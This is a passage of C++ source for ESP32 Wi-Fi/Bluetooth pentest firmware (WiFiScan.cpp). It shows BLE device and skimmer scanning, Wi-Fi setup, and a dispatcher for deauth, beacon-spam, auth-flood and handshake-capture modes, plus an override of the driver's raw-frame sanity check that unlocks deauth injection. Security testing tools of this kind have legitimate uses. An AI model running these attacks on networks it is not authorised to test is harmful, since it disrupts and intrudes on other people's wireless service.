WiFiScan.cpp 98 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225235245255265275285295305315325335345355365375385395405415425435445455465475485495505515525535545555565575585595605615625635645655665675685695705715725735745755765775785795805815825835845855865875885895905915925935945955965975985996006016026036046056066076086096106116126136146156166176186196206216226236246256266276286296306316326336346356366376386396406416426436446456466476486496506516526536546556566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709719729739749759769779789799809819829839849859869879889899909919929939949959969979989991000100110021003100410051006100710081009101010111012101310141015101610171018101910201021102210231024102510261027102810291030103110321033103410351036103710381039104010411042104310441045104610471048104910501051105210531054105510561057105810591060106110621063106410651066106710681069107010711072107310741075107610771078107910801081108210831084108510861087108810891090109110921093109410951096109710981099110011011102110311041105110611071108110911101111111211131114111511161117111811191120112111221123112411251126112711281129113011311132113311341135113611371138113911401141114211431144114511461147114811491150115111521153115411551156115711581159116011611162116311641165116611671168116911701171117211731174117511761177117811791180118111821183118411851186118711881189119011911192119311941195119611971198119912001201120212031204120512061207120812091210121112121213121412151216121712181219122012211222122312241225122612271228122912301231123212331234123512361237123812391240124112421243124412451246124712481249125012511252125312541255125612571258125912601261126212631264126512661267126812691270127112721273127412751276127712781279128012811282128312841285128612871288128912901291129212931294129512961297129812991300130113021303130413051306130713081309131013111312131313141315131613171318131913201321132213231324132513261327132813291330133113321333133413351336133713381339134013411342134313441345134613471348134913501351135213531354135513561357135813591360136113621363136413651366136713681369137013711372137313741375137613771378137913801381138213831384138513861387138813891390139113921393139413951396139713981399140014011402140314041405140614071408140914101411141214131414141514161417141814191420142114221423142414251426142714281429143014311432143314341435143614371438143914401441144214431444144514461447144814491450145114521453145414551456145714581459146014611462146314641465146614671468146914701471147214731474147514761477147814791480148114821483148414851486148714881489149014911492149314941495149614971498149915001501150215031504150515061507150815091510151115121513151415151516151715181519152015211522152315241525152615271528152915301531153215331534153515361537153815391540154115421543154415451546154715481549155015511552155315541555155615571558155915601561156215631564156515661567156815691570157115721573157415751576157715781579158015811582158315841585158615871588158915901591159215931594159515961597159815991600160116021603160416051606160716081609161016111612161316141615161616171618161916201621162216231624162516261627162816291630163116321633163416351636163716381639164016411642164316441645164616471648164916501651165216531654165516561657165816591660166116621663166416651666166716681669167016711672167316741675167616771678167916801681168216831684168516861687168816891690169116921693169416951696169716981699170017011702170317041705170617071708170917101711171217131714171517161717171817191720172117221723172417251726172717281729173017311732173317341735173617371738173917401741174217431744174517461747174817491750175117521753175417551756175717581759176017611762176317641765176617671768176917701771177217731774177517761777177817791780178117821783178417851786178717881789179017911792179317941795179617971798179918001801180218031804180518061807180818091810181118121813181418151816181718181819182018211822182318241825182618271828182918301831183218331834183518361837183818391840184118421843184418451846184718481849185018511852185318541855185618571858185918601861186218631864186518661867186818691870187118721873187418751876187718781879188018811882188318841885188618871888188918901891189218931894189518961897189818991900190119021903190419051906190719081909191019111912191319141915191619171918191919201921192219231924192519261927192819291930193119321933193419351936193719381939194019411942194319441945194619471948194919501951195219531954195519561957195819591960196119621963196419651966196719681969197019711972197319741975197619771978197919801981198219831984198519861987198819891990199119921993199419951996199719981999200020012002200320042005200620072008200920102011201220132014201520162017201820192020202120222023202420252026202720282029203020312032203320342035203620372038203920402041204220432044204520462047204820492050205120522053205420552056205720582059206020612062206320642065206620672068206920702071207220732074207520762077207820792080208120822083208420852086208720882089209020912092209320942095209620972098209921002101210221032104210521062107210821092110211121122113211421152116211721182119212021212122212321242125212621272128212921302131213221332134213521362137213821392140214121422143214421452146214721482149215021512152215321542155215621572158215921602161216221632164216521662167216821692170217121722173217421752176217721782179218021812182218321842185218621872188218921902191219221932194219521962197219821992200220122022203220422052206220722082209221022112212221322142215221622172218221922202221222222232224222522262227222822292230223122322233223422352236223722382239224022412242224322442245224622472248224922502251225222532254225522562257225822592260226122622263226422652266226722682269227022712272227322742275227622772278227922802281228222832284228522862287228822892290229122922293229422952296229722982299230023012302230323042305230623072308230923102311231223132314231523162317231823192320232123222323232423252326232723282329233023312332233323342335233623372338233923402341234223432344234523462347234823492350235123522353235423552356235723582359236023612362236323642365236623672368236923702371237223732374237523762377237823792380238123822383238423852386238723882389239023912392239323942395239623972398239924002401240224032404240524062407240824092410241124122413241424152416241724182419242024212422242324242425242624272428242924302431243224332434243524362437243824392440244124422443244424452446244724482449245024512452245324542455245624572458245924602461246224632464246524662467246824692470247124722473247424752476247724782479248024812482248324842485248624872488248924902491249224932494249524962497249824992500250125022503250425052506250725082509251025112512251325142515251625172518251925202521252225232524252525262527252825292530253125322533253425352536253725382539254025412542254325442545254625472548254925502551255225532554255525562557255825592560256125622563256425652566256725682569257025712572257325742575257625772578257925802581258225832584258525862587258825892590259125922593259425952596259725982599260026012602260326042605260626072608260926102611261226132614261526162617261826192620262126222623262426252626262726282629263026312632263326342635263626372638263926402641264226432644264526462647264826492650265126522653265426552656265726582659266026612662266326642665266626672668266926702671267226732674267526762677267826792680268126822683268426852686268726882689269026912692269326942695269626972698269927002701270227032704270527062707270827092710271127122713271427152716271727182719272027212722272327242725272627272728272927302731273227332734273527362737273827392740274127422743274427452746274727482749275027512752275327542755275627572758275927602761276227632764276527662767276827692770277127722773277427752776277727782779278027812782278327842785278627872788278927902791279227932794279527962797279827992800280128022803280428052806280728082809281028112812281328142815281628172818281928202821282228232824282528262827282828292830283128322833283428352836283728382839284028412842284328442845284628472848284928502851285228532854285528562857285828592860286128622863286428652866286728682869287028712872287328742875287628772878287928802881288228832884288528862887288828892890289128922893289428952896289728982899290029012902290329042905290629072908290929102911291229132914291529162917291829192920292129222923292429252926292729282929293029312932293329342935293629372938293929402941294229432944294529462947294829492950295129522953295429552956295729582959296029612962296329642965296629672968296929702971297229732974297529762977297829792980298129822983298429852986298729882989299029912992299329942995299629972998299930003001300230033004300530063007300830093010301130123013301430153016301730183019302030213022302330243025302630273028302930303031303230333034303530363037303830393040304130423043304430453046304730483049305030513052305330543055305630573058305930603061306230633064306530663067306830693070307130723073
  1. #include "WiFiScan.h"
  2. #include "lang_var.h"
  3. int num_beacon = 0;
  4. int num_deauth = 0;
  5. int num_probe = 0;
  6. int num_eapol = 0;
  7. LinkedList<ssid>* ssids;
  8. LinkedList<AccessPoint>* access_points;
  9. extern "C" int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3){
  10. if (arg == 31337)
  11. return 1;
  12. else
  13. return 0;
  14. }
  15. #ifdef HAS_BT
  16. class bluetoothScanAllCallback: public BLEAdvertisedDeviceCallbacks {
  17. void onResult(BLEAdvertisedDevice *advertisedDevice) {
  18. #ifdef HAS_SCREEN
  19. int buf = display_obj.display_buffer->size();
  20. #else
  21. int buf = 0;
  22. #endif
  23. String display_string = "";
  24. if (buf >= 0)
  25. {
  26. display_string.concat(text_table4[0]);
  27. display_string.concat(advertisedDevice->getRSSI());
  28. Serial.print(" RSSI: ");
  29. Serial.print(advertisedDevice->getRSSI());
  30. display_string.concat(" ");
  31. Serial.print(" ");
  32. Serial.print("Device: ");
  33. if(advertisedDevice->getName().length() != 0)
  34. {
  35. display_string.concat(advertisedDevice->getName().c_str());
  36. Serial.print(advertisedDevice->getName().c_str());
  37. }
  38. else
  39. {
  40. display_string.concat(advertisedDevice->getAddress().toString().c_str());
  41. Serial.print(advertisedDevice->getAddress().toString().c_str());
  42. }
  43. #ifdef HAS_SCREEN
  44. uint8_t temp_len = display_string.length();
  45. for (uint8_t i = 0; i < 40 - temp_len; i++)
  46. {
  47. display_string.concat(" ");
  48. }
  49. Serial.println();
  50. while (display_obj.printing)
  51. delay(1);
  52. display_obj.loading = true;
  53. display_obj.display_buffer->add(display_string);
  54. display_obj.loading = false;
  55. #endif
  56. }
  57. }
  58. };
  59. class bluetoothScanSkimmersCallback: public BLEAdvertisedDeviceCallbacks {
  60. void onResult(BLEAdvertisedDevice *advertisedDevice) {
  61. String bad_list[bad_list_length] = {"HC-03", "HC-05", "HC-06"};
  62. #ifdef HAS_SCREEN
  63. int buf = display_obj.display_buffer->size();
  64. #else
  65. int buf = 0;
  66. #endif
  67. if (buf >= 0)
  68. {
  69. Serial.print("Device: ");
  70. String display_string = "";
  71. if(advertisedDevice->getName().length() != 0)
  72. {
  73. Serial.print(advertisedDevice->getName().c_str());
  74. for(uint8_t i = 0; i < bad_list_length; i++)
  75. {
  76. #ifdef HAS_SCREEN
  77. if(strcmp(advertisedDevice->getName().c_str(), bad_list[i].c_str()) == 0)
  78. {
  79. display_string.concat(text_table4[1]);
  80. display_string.concat(" ");
  81. display_string.concat(advertisedDevice->getName().c_str());
  82. uint8_t temp_len = display_string.length();
  83. for (uint8_t i = 0; i < 40 - temp_len; i++)
  84. {
  85. display_string.concat(" ");
  86. }
  87. while (display_obj.printing)
  88. delay(1);
  89. display_obj.loading = true;
  90. display_obj.display_buffer->add(display_string);
  91. display_obj.loading = false;
  92. }
  93. #endif
  94. }
  95. }
  96. else
  97. {
  98. Serial.print(advertisedDevice->getAddress().toString().c_str());
  99. }
  100. Serial.print(" RSSI: ");
  101. Serial.println(advertisedDevice->getRSSI());
  102. }
  103. }
  104. };
  105. #endif
  106. WiFiScan::WiFiScan()
  107. {
  108. }
  109. void WiFiScan::RunSetup() {
  110. if (ieee80211_raw_frame_sanity_check(31337, 0, 0) == 1)
  111. this->wsl_bypass_enabled = true;
  112. else
  113. this->wsl_bypass_enabled = false;
  114. ssids = new LinkedList<ssid>();
  115. access_points = new LinkedList<AccessPoint>();
  116. #ifdef HAS_BT
  117. NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE);
  118. NimBLEDevice::setScanDuplicateCacheSize(200);
  119. NimBLEDevice::init("");
  120. pBLEScan = NimBLEDevice::getScan(); //create new scan
  121. this->ble_initialized = true;
  122. this->shutdownBLE();
  123. #endif
  124. this->initWiFi(1);
  125. }
  126. int WiFiScan::clearAPs() {
  127. int num_cleared = access_points->size();
  128. access_points->clear();
  129. Serial.println("access_points: " + (String)access_points->size());
  130. return num_cleared;
  131. }
  132. int WiFiScan::clearSSIDs() {
  133. int num_cleared = ssids->size();
  134. ssids->clear();
  135. Serial.println("ssids: " + (String)ssids->size());
  136. return num_cleared;
  137. }
  138. bool WiFiScan::addSSID(String essid) {
  139. ssid s = {essid, {random(256), random(256), random(256), random(256), random(256), random(256)}, false};
  140. ssids->add(s);
  141. Serial.println(ssids->get(ssids->size() - 1).essid);
  142. return true;
  143. }
  144. int WiFiScan::generateSSIDs(int count) {
  145. uint8_t num_gen = count;
  146. for (uint8_t x = 0; x < num_gen; x++) {
  147. String essid = "";
  148. for (uint8_t i = 0; i < 6; i++)
  149. essid.concat(alfa[random(65)]);
  150. ssid s = {essid, {random(256), random(256), random(256), random(256), random(256), random(256)}, false};
  151. ssids->add(s);
  152. Serial.println(ssids->get(ssids->size() - 1).essid);
  153. }
  154. return num_gen;
  155. }
  156. #ifdef HAS_SCREEN
  157. void WiFiScan::joinWiFi(String ssid, String password)
  158. {
  159. static const char * btns[] ={text16, ""};
  160. int count = 0;
  161. if ((WiFi.status() == WL_CONNECTED) && (ssid == connected_network) && (ssid != "")) {
  162. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  163. lv_msgbox_set_text(mbox1, text_table4[2]);
  164. lv_msgbox_add_btns(mbox1, btns);
  165. lv_obj_set_width(mbox1, 200);
  166. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  167. this->wifi_initialized = true;
  168. return;
  169. }
  170. else if (WiFi.status() == WL_CONNECTED) {
  171. Serial.println("Already connected. Disconnecting...");
  172. WiFi.disconnect();
  173. }
  174. esp_wifi_init(&cfg);
  175. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  176. esp_wifi_set_mode(WIFI_MODE_NULL);
  177. esp_wifi_start();
  178. WiFi.begin(ssid.c_str(), password.c_str());
  179. Serial.print("Connecting to WiFi");
  180. while (WiFi.status() != WL_CONNECTED) {
  181. delay(500);
  182. Serial.print(".");
  183. count++;
  184. if (count == 10)
  185. {
  186. Serial.println("\nCould not connect to WiFi network");
  187. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  188. lv_msgbox_set_text(mbox1, text_table4[3]);
  189. lv_msgbox_add_btns(mbox1, btns);
  190. lv_obj_set_width(mbox1, 200);
  191. //lv_obj_set_event_cb(mbox1, event_handler);
  192. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  193. WiFi.mode(WIFI_OFF);
  194. return;
  195. }
  196. }
  197. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  198. lv_msgbox_set_text(mbox1, text_table4[4]);
  199. lv_msgbox_add_btns(mbox1, btns);
  200. lv_obj_set_width(mbox1, 200);
  201. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  202. connected_network = ssid;
  203. Serial.println("\nConnected to the WiFi network");
  204. Serial.print("IP address: ");
  205. Serial.println(WiFi.localIP());
  206. this->wifi_initialized = true;
  207. }
  208. #endif
  209. // Apply WiFi settings
  210. void WiFiScan::initWiFi(uint8_t scan_mode) {
  211. // Set the channel
  212. if (scan_mode != WIFI_SCAN_OFF) {
  213. //Serial.println(F("Initializing WiFi settings..."));
  214. this->changeChannel();
  215. this->force_pmkid = settings_obj.loadSetting<bool>(text_table4[5]);
  216. this->force_probe = settings_obj.loadSetting<bool>(text_table4[6]);
  217. this->save_pcap = settings_obj.loadSetting<bool>(text_table4[7]);
  218. //Serial.println(F("Initialization complete"));
  219. }
  220. }
  221. bool WiFiScan::scanning() {
  222. if (this->currentScanMode == WIFI_SCAN_OFF)
  223. return false;
  224. else
  225. return true;
  226. }
  227. // Function to prepare to run a specific scan
  228. void WiFiScan::StartScan(uint8_t scan_mode, uint16_t color)
  229. {
  230. this->initWiFi(scan_mode);
  231. if (scan_mode == WIFI_SCAN_OFF)
  232. StopScan(scan_mode);
  233. else if (scan_mode == WIFI_SCAN_PROBE)
  234. RunProbeScan(scan_mode, color);
  235. else if (scan_mode == WIFI_SCAN_EAPOL)
  236. RunEapolScan(scan_mode, color);
  237. else if (scan_mode == WIFI_SCAN_ACTIVE_EAPOL)
  238. RunEapolScan(scan_mode, color);
  239. else if (scan_mode == WIFI_SCAN_AP)
  240. RunBeaconScan(scan_mode, color);
  241. else if (scan_mode == WIFI_SCAN_TARGET_AP)
  242. RunAPScan(scan_mode, color);
  243. else if (scan_mode == WIFI_SCAN_TARGET_AP_FULL)
  244. RunAPScan(scan_mode, color);
  245. else if (scan_mode == WIFI_SCAN_PWN)
  246. RunPwnScan(scan_mode, color);
  247. else if (scan_mode == WIFI_SCAN_DEAUTH)
  248. RunDeauthScan(scan_mode, color);
  249. else if (scan_mode == WIFI_PACKET_MONITOR) {
  250. #ifdef HAS_SCREEN
  251. RunPacketMonitor(scan_mode, color);
  252. #endif
  253. }
  254. else if (scan_mode == WIFI_ATTACK_BEACON_LIST)
  255. this->startWiFiAttacks(scan_mode, color, text_table1[50]);
  256. else if (scan_mode == WIFI_ATTACK_BEACON_SPAM)
  257. this->startWiFiAttacks(scan_mode, color, text_table1[51]);
  258. else if (scan_mode == WIFI_ATTACK_RICK_ROLL)
  259. this->startWiFiAttacks(scan_mode, color, text_table1[52]);
  260. else if (scan_mode == WIFI_ATTACK_AUTH)
  261. this->startWiFiAttacks(scan_mode, color, text_table4[7]);
  262. else if (scan_mode == WIFI_ATTACK_DEAUTH)
  263. this->startWiFiAttacks(scan_mode, color, text_table4[8]);
  264. else if (scan_mode == WIFI_ATTACK_AP_SPAM)
  265. this->startWiFiAttacks(scan_mode, color, " AP Beacon Spam ");
  266. else if (scan_mode == BT_SCAN_ALL) {
  267. #ifdef HAS_BT
  268. RunBluetoothScan(scan_mode, color);
  269. #endif
  270. }
  271. else if (scan_mode == BT_SCAN_SKIMMERS) {
  272. #ifdef HAS_BT
  273. RunBluetoothScan(scan_mode, color);
  274. #endif
  275. }
  276. else if (scan_mode == WIFI_SCAN_ESPRESSIF)
  277. RunEspressifScan(scan_mode, color);
  278. else if (scan_mode == LV_JOIN_WIFI) {
  279. #ifdef HAS_SCREEN
  280. RunLvJoinWiFi(scan_mode, color);
  281. #endif
  282. }
  283. else if (scan_mode == LV_ADD_SSID) {
  284. #ifdef HAS_SCREEN
  285. RunLvJoinWiFi(scan_mode, color);
  286. #endif
  287. }
  288. WiFiScan::currentScanMode = scan_mode;
  289. }
  290. void WiFiScan::startWiFiAttacks(uint8_t scan_mode, uint16_t color, String title_string) {
  291. // Common wifi attack configurations
  292. #ifdef HAS_SCREEN
  293. display_obj.TOP_FIXED_AREA_2 = 48;
  294. display_obj.tteBar = true;
  295. display_obj.print_delay_1 = 15;
  296. display_obj.print_delay_2 = 10;
  297. display_obj.initScrollValues(true);
  298. display_obj.tft.setTextWrap(false);
  299. display_obj.tft.setTextColor(TFT_BLACK, color);
  300. display_obj.tft.fillRect(0,16,240,16, color);
  301. display_obj.tft.drawCentreString((String)title_string,120,16,2);
  302. display_obj.touchToExit();
  303. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  304. #endif
  305. packets_sent = 0;
  306. WiFi.mode(WIFI_AP_STA);
  307. //esp_wifi_init(&cfg);
  308. //esp_wifi_set_storage(WIFI_STORAGE_RAM);
  309. //esp_wifi_set_mode(WIFI_AP_STA);
  310. //esp_wifi_start();
  311. //esp_wifi_set_promiscuous_filter(NULL);
  312. esp_wifi_set_promiscuous(true);
  313. esp_wifi_set_max_tx_power(82);
  314. this->wifi_initialized = true;
  315. #ifdef MARAUDER_FLIPPER
  316. flipper_led.attackLED();
  317. #endif
  318. initTime = millis();
  319. }
  320. bool WiFiScan::shutdownWiFi() {
  321. if (this->wifi_initialized) {
  322. esp_wifi_set_promiscuous(false);
  323. WiFi.disconnect();
  324. WiFi.mode(WIFI_OFF);
  325. esp_wifi_set_mode(WIFI_MODE_NULL);
  326. esp_wifi_stop();
  327. esp_wifi_deinit();
  328. #ifdef MARAUDER_FLIPPER
  329. flipper_led.offLED();
  330. #endif
  331. this->wifi_initialized = false;
  332. return true;
  333. }
  334. else {
  335. return false;
  336. }
  337. }
  338. bool WiFiScan::shutdownBLE() {
  339. #ifdef HAS_BT
  340. if (this->ble_initialized) {
  341. pBLEScan->stop();
  342. pBLEScan->clearResults();
  343. BLEDevice::deinit();
  344. #ifdef MARAUDER_FLIPPER
  345. flipper_led.offLED();
  346. #endif
  347. this->ble_initialized = false;
  348. return true;
  349. }
  350. else {
  351. return false;
  352. }
  353. #endif
  354. return true;
  355. }
  356. // Function to stop all wifi scans
  357. void WiFiScan::StopScan(uint8_t scan_mode)
  358. {
  359. if ((currentScanMode == WIFI_SCAN_PROBE) ||
  360. (currentScanMode == WIFI_SCAN_AP) ||
  361. (currentScanMode == WIFI_SCAN_TARGET_AP) ||
  362. (currentScanMode == WIFI_SCAN_TARGET_AP_FULL) ||
  363. (currentScanMode == WIFI_SCAN_PWN) ||
  364. (currentScanMode == WIFI_SCAN_ESPRESSIF) ||
  365. (currentScanMode == WIFI_SCAN_EAPOL) ||
  366. (currentScanMode == WIFI_SCAN_ALL) ||
  367. (currentScanMode == WIFI_SCAN_DEAUTH) ||
  368. (currentScanMode == WIFI_ATTACK_BEACON_LIST) ||
  369. (currentScanMode == WIFI_ATTACK_BEACON_SPAM) ||
  370. (currentScanMode == WIFI_ATTACK_AUTH) ||
  371. (currentScanMode == WIFI_ATTACK_DEAUTH) ||
  372. (currentScanMode == WIFI_ATTACK_MIMIC) ||
  373. (currentScanMode == WIFI_ATTACK_RICK_ROLL) ||
  374. (currentScanMode == WIFI_PACKET_MONITOR) ||
  375. (currentScanMode == LV_JOIN_WIFI))
  376. {
  377. this->shutdownWiFi();
  378. }
  379. else if ((currentScanMode == BT_SCAN_ALL) ||
  380. (currentScanMode == BT_SCAN_SKIMMERS))
  381. {
  382. #ifdef HAS_BT
  383. this->shutdownBLE();
  384. #endif
  385. }
  386. #ifdef HAS_SCREEN
  387. display_obj.display_buffer->clear();
  388. #ifdef SCREEN_BUFFER
  389. display_obj.screen_buffer->clear();
  390. #endif
  391. //Serial.print("display_buffer->size(): ");
  392. Serial.println(display_obj.display_buffer->size());
  393. display_obj.tteBar = false;
  394. #endif
  395. }
  396. String WiFiScan::getStaMAC()
  397. {
  398. char *buf;
  399. uint8_t mac[6];
  400. char macAddrChr[18] = {0};
  401. esp_wifi_init(&cfg);
  402. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  403. esp_wifi_set_mode(WIFI_MODE_NULL);
  404. esp_wifi_start();
  405. esp_err_t mac_status = esp_wifi_get_mac(WIFI_IF_AP, mac);
  406. this->wifi_initialized = true;
  407. sprintf(macAddrChr,
  408. "%02X:%02X:%02X:%02X:%02X:%02X",
  409. mac[0],
  410. mac[1],
  411. mac[2],
  412. mac[3],
  413. mac[4],
  414. mac[5]);
  415. this->shutdownWiFi();
  416. return String(macAddrChr);
  417. }
  418. String WiFiScan::getApMAC()
  419. {
  420. char *buf;
  421. uint8_t mac[6];
  422. char macAddrChr[18] = {0};
  423. esp_wifi_init(&cfg);
  424. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  425. esp_wifi_set_mode(WIFI_MODE_NULL);
  426. esp_wifi_start();
  427. esp_err_t mac_status = esp_wifi_get_mac(WIFI_IF_AP, mac);
  428. this->wifi_initialized = true;
  429. sprintf(macAddrChr,
  430. "%02X:%02X:%02X:%02X:%02X:%02X",
  431. mac[0],
  432. mac[1],
  433. mac[2],
  434. mac[3],
  435. mac[4],
  436. mac[5]);
  437. this->shutdownWiFi();
  438. return String(macAddrChr);
  439. }
  440. String WiFiScan::freeRAM()
  441. {
  442. char s[150];
  443. sprintf(s, "RAM Free: %u bytes", esp_get_free_heap_size());
  444. this->free_ram = String(esp_get_free_heap_size());
  445. return String(s);
  446. }
  447. // Function to start running a beacon scan
  448. void WiFiScan::RunAPScan(uint8_t scan_mode, uint16_t color)
  449. {
  450. sd_obj.openCapture("ap");
  451. #ifdef MARAUDER_FLIPPER
  452. flipper_led.sniffLED();
  453. #endif
  454. Serial.println(text_table4[9] + (String)access_points->size());
  455. #ifdef HAS_SCREEN
  456. display_obj.TOP_FIXED_AREA_2 = 48;
  457. display_obj.tteBar = true;
  458. display_obj.print_delay_1 = 15;
  459. display_obj.print_delay_2 = 10;
  460. display_obj.initScrollValues(true);
  461. display_obj.tft.setTextWrap(false);
  462. display_obj.tft.setTextColor(TFT_WHITE, color);
  463. #ifndef MARAUDER_MINI
  464. display_obj.tft.fillRect(0,16,240,16, color);
  465. display_obj.tft.drawCentreString(text_table4[44],120,16,2);
  466. display_obj.touchToExit();
  467. #endif
  468. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  469. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  470. #endif
  471. esp_wifi_init(&cfg);
  472. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  473. esp_wifi_set_mode(WIFI_MODE_NULL);
  474. esp_wifi_start();
  475. esp_wifi_set_promiscuous(true);
  476. esp_wifi_set_promiscuous_filter(&filt);
  477. //if (scan_mode == WIFI_SCAN_TARGET_AP_FULL)
  478. esp_wifi_set_promiscuous_rx_cb(&apSnifferCallbackFull);
  479. //else
  480. // esp_wifi_set_promiscuous_rx_cb(&apSnifferCallback);
  481. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  482. this->wifi_initialized = true;
  483. initTime = millis();
  484. }
  485. #ifdef HAS_SCREEN
  486. void WiFiScan::RunLvJoinWiFi(uint8_t scan_mode, uint16_t color) {
  487. display_obj.tft.init();
  488. display_obj.tft.setRotation(1);
  489. #ifdef TFT_SHIELD
  490. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  491. Serial.println("Using TFT Shield");
  492. #else if defined(TFT_DIY)
  493. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  494. Serial.println("Using TFT DIY");
  495. #endif
  496. display_obj.tft.setTouch(calData);
  497. lv_obj_t * scr = lv_cont_create(NULL, NULL);
  498. lv_disp_load_scr(scr);
  499. }
  500. #endif
  501. void WiFiScan::RunClearAPs() {
  502. #ifdef HAS_SCREEN
  503. display_obj.tft.setTextWrap(false);
  504. display_obj.tft.setFreeFont(NULL);
  505. display_obj.tft.setCursor(0, 100);
  506. display_obj.tft.setTextSize(1);
  507. display_obj.tft.setTextColor(TFT_CYAN);
  508. display_obj.tft.println(F(text_table4[9]));
  509. display_obj.tft.println(text_table4[10] + (String)this->clearAPs());
  510. #else
  511. this->clearAPs();
  512. #endif
  513. }
  514. void WiFiScan::RunClearSSIDs() {
  515. #ifdef HAS_SCREEN
  516. display_obj.tft.setTextWrap(false);
  517. display_obj.tft.setFreeFont(NULL);
  518. display_obj.tft.setCursor(0, 100);
  519. display_obj.tft.setTextSize(1);
  520. display_obj.tft.setTextColor(TFT_CYAN);
  521. display_obj.tft.println(F(text_table4[11]));
  522. display_obj.tft.println(text_table4[12] + (String)this->clearSSIDs());
  523. #else
  524. this->clearSSIDs();
  525. #endif
  526. }
  527. void WiFiScan::RunGenerateSSIDs(int count) {
  528. #ifdef HAS_SCREEN
  529. display_obj.tft.setTextWrap(false);
  530. display_obj.tft.setFreeFont(NULL);
  531. display_obj.tft.setCursor(0, 100);
  532. display_obj.tft.setTextSize(1);
  533. display_obj.tft.setTextColor(TFT_CYAN);
  534. display_obj.tft.println(F(text_table4[13]));
  535. display_obj.tft.println(text_table4[14] + (String)this->generateSSIDs());
  536. display_obj.tft.println(text_table4[15] + (String)ssids->size());
  537. #else
  538. this->generateSSIDs(count);
  539. #endif
  540. }
  541. void WiFiScan::RunShutdownWiFi() {
  542. #ifdef HAS_SCREEN
  543. display_obj.tft.setTextWrap(false);
  544. display_obj.tft.setFreeFont(NULL);
  545. display_obj.tft.setCursor(0, 100);
  546. display_obj.tft.setTextSize(1);
  547. display_obj.tft.setTextColor(TFT_CYAN);
  548. display_obj.tft.print(F(text_table4[16]));
  549. #endif
  550. if (this->wifi_initialized) {
  551. this->shutdownWiFi();
  552. #ifdef HAS_SCREEN
  553. display_obj.tft.setTextColor(TFT_GREEN);
  554. display_obj.tft.println(F("OK"));
  555. #endif
  556. }
  557. else {
  558. #ifdef HAS_SCREEN
  559. display_obj.tft.setTextColor(TFT_RED);
  560. display_obj.tft.println(F(text17));
  561. display_obj.tft.println(F(text_table4[17]));
  562. #endif
  563. }
  564. }
  565. void WiFiScan::RunShutdownBLE() {
  566. #ifdef HAS_SCREEN
  567. display_obj.tft.setTextWrap(false);
  568. display_obj.tft.setFreeFont(NULL);
  569. display_obj.tft.setCursor(0, 100);
  570. display_obj.tft.setTextSize(1);
  571. display_obj.tft.setTextColor(TFT_CYAN);
  572. display_obj.tft.print(F(text_table4[18]));
  573. #endif
  574. if (this->ble_initialized) {
  575. this->shutdownBLE();
  576. #ifdef HAS_SCREEN
  577. display_obj.tft.setTextColor(TFT_GREEN);
  578. display_obj.tft.println(F("OK"));
  579. #endif
  580. }
  581. else {
  582. #ifdef HAS_SCREEN
  583. display_obj.tft.setTextColor(TFT_RED);
  584. display_obj.tft.println(F(text17));
  585. display_obj.tft.println(F(text_table4[19]));
  586. #endif
  587. }
  588. }
  589. void WiFiScan::RunInfo()
  590. {
  591. String sta_mac = this->getStaMAC();
  592. String ap_mac = this->getApMAC();
  593. String free_ram = this->freeRAM();
  594. //Serial.print("STA MAC: ");
  595. //Serial.println(sta_mac);
  596. //Serial.print("AP MAC: ");
  597. //Serial.println(ap_mac);
  598. Serial.println(free_ram);
  599. #ifdef HAS_SCREEN
  600. display_obj.tft.setTextWrap(false);
  601. display_obj.tft.setFreeFont(NULL);
  602. display_obj.tft.setCursor(0, SCREEN_HEIGHT / 3);
  603. display_obj.tft.setTextSize(1);
  604. display_obj.tft.setTextColor(TFT_CYAN);
  605. display_obj.tft.println(text_table4[20]);
  606. display_obj.tft.println(text_table4[21] + display_obj.version_number);
  607. display_obj.tft.println(text_table4[22] + (String)esp_get_idf_version());
  608. #endif
  609. if (this->wsl_bypass_enabled) {
  610. #ifdef HAS_SCREEN
